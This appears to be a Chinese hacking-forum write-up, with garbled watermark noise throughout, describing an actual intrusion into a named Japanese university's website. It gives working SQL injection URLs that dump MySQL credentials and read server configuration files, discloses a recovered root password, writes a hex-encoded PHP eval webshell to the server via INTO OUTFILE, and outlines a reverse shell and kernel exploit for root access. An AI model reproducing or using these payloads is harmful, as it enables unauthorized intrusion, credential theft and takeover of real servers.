入侵日本同志社大学技术分析 R ~' R: s$ P9 ?3 b3 |
) y. W/ u# N) u M4 qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
' U2 M& A9 C9 j4 I+ k' a) O然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:$ W7 G3 ]: C8 s" r/ E9 j, a- v
- `7 Q6 l6 \1 l2 ]$ ^* f
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user5 O! T9 P& I/ c* V" P
9 j: s3 E# i6 Y7 b7 } h
) `7 A4 j% r8 C7 k2 h i9 T; I$ u$ t
//@@datadir为数据库文件路径 7 K% P; ]. t) M( I4 ]. v
; s: l9 }% f& U4 H& ]
& N1 t: s7 K% R& ^ `! U3 Y7 f4 w+ s
//load_file读取网站容器apache的配置文件 2 W' g4 a# \# b! R8 l
4 g1 ?) ?! O0 |
- y6 V' _3 U& p+ o4 s8 M
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
* n( M; ]# i) |, B2 c) \复制代码- p2 q! F4 Y7 o$ f! c
K4 a; e M: `* l/ n6 C: N
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。6 |. ^8 q5 z$ e
0 a) K8 q6 j% \" F
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
( I" B1 }/ Y: L4 U(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)* c7 |7 Q% q8 D j% h6 R& ]
v" r* N/ q( ^( y
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。1 n+ J3 z, p0 R7 h! U6 Z
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
( l. U% w4 @2 F' K l9 n: Y
. \5 A4 G# z! ?8 d8 Q" l既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
0 U7 Y- J. b0 I1 Z虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
- j9 T' q4 a% B/ e8 V直接写一句话:5 h" O5 q, C9 O; b- I' Y5 q: Q
- X2 s- K/ F1 G5 Z( V$ F
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#9 c. a7 S( ?( F7 |
1 r4 R1 ~, }* N
: ]: P1 c& }" C _; o, r+ ?6 w
6 u" O/ T; f) D. D! y//最后的#是为了闭合前面的语句 ! M+ z, ^6 h& d7 G
% v2 U! H/ s- ?/ v
G: j! G/ X/ n" I0 ^8 h
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ! C: U* X9 y# m% v+ ^
) D; }9 S; ~4 Y1 i g
- z. d! v% ~2 s& H& N
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ $ z9 Q6 _0 }* i
& X' S- a! D0 z; [
5 A* C: L1 u3 u1 V//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
) @) M# C; g9 k/ [, T
% V# i4 R( K7 h1 [+ P% N: s n/ h
0 K# S: E. |' U" ?+ C0 R* |//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
4 K- W, w$ O9 u7 ^* q//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
* |$ U; H' o8 |+ U复制代码
) v4 F6 w; @: ]) _+ i7 a3 s* [2 S. ]/ j6 T2 M1 n/ ?
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
' ~" D2 W1 A& \通过上述注入语句,我们就得到了一句话木马:
2 k& j3 Z* N" m1 F' b
2 m" @9 p& \4 W! e
0 F( }# ]/ a7 \- `+ t }$ R
) }' h3 s7 \/ F R . |1 |: ~) d: O$ l9 I; N
. W2 `3 ~& v! } o$ a& t; q, shttp://www.doshisha.ac.jp/english/engnews_img/aa.php
& ?+ \. s" ?0 z# [% e复制代码
! D& m5 W7 r) w, @1 a. W' q! H6 L# b( y% M3 m
用菜刀连接,密码是cmd,如图所示:' R% q- x* M3 ~: S. K
然后在命令提示行里看了一下,现在的权限是:
3 v0 j; T1 l% ?! Y
2 f- ]0 s' c& G% ~/ L之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
9 r+ Y/ g2 ~5 i! h- g好在赋权给这个文件夹不需要root,直接执行赋权语句:! G0 x# h/ h+ ?4 k; D8 p! K
$ [4 d$ h9 A8 K! f/ f9 Y* T1 }: s
@5 f# c6 x. {. R$ Y# \& D5 a3 n: ]( Z4 J. u% }' V
* F* X9 r6 E) G( {
; Q( x! t8 Z: i; n. x2 J
chmod +x /tmp/
- s( ~' [, @/ L复制代码8 A1 U" C/ E5 f: }8 O3 I* f" x
5 \1 c$ h. @6 R- @$ n
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
7 z7 b1 G! R3 y" {- g4 e& T然后就查了一下内核版本:. |0 r+ \+ J+ ~+ L9 ~1 }* w
6 v! t1 W! S+ v" ^* ~ J
# f; T0 m9 a1 N$ t6 V. f4 n$ j0 [6 z$ g. p0 v7 p
; Z4 u7 j2 t t4 b4 J0 f1 M0 w
% t- F: E: u& s- D L; r9 tuname-a ( @/ u ~# C' V2 o
/ K" n& M' J2 s- Q* p x: K2 r3 ?+ a
//其实lsb_release -a ' r7 k8 P% J7 D l C( }
复制代码
0 v. F6 S5 q5 D: v& |/ e$ M5 }; K) o9 T5 C& o. f
如图所示:
) o; y. G% T6 f& L" a, {6 I" D9 Z4 \- H) x$ \9 @% I4 [
内核版本:linux mainz1 2.6.28-194.e15: p0 _' ^! g+ Z4 `! Q
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
3 j! \: h* U- `# |" L查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹! u4 l' u! T- G$ j6 {1 M) [: w2 X
) h! E3 y, x- w然后给予执行权限6 d" K" Z6 a) X" s, H# E1 s
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
% T& Z8 m# G1 E" C+ r* [+ V3 K I' x
' e$ W3 E E+ x, Q; W1 X. j2 P; o
6 r1 O# k8 t8 s8 e
; g9 }) N; N) w5 F7 S; a
6 {! U# V- }+ O* h! T
chmod +x /tmp/2.6.18-194
+ ?: }- G; r6 j" r3 E; M复制代码 然后直接执行!~) p0 D4 W+ d; R2 j; a6 X2 i
. l3 w |( Q' X6 `% ^; h
总结:- T' }- W8 ?+ m' @# x& S
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
( T. S2 N2 B% r; w4 I提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root4 ^2 M/ D" s, X6 o' a1 }
: p1 X4 {6 o o* U9 F
|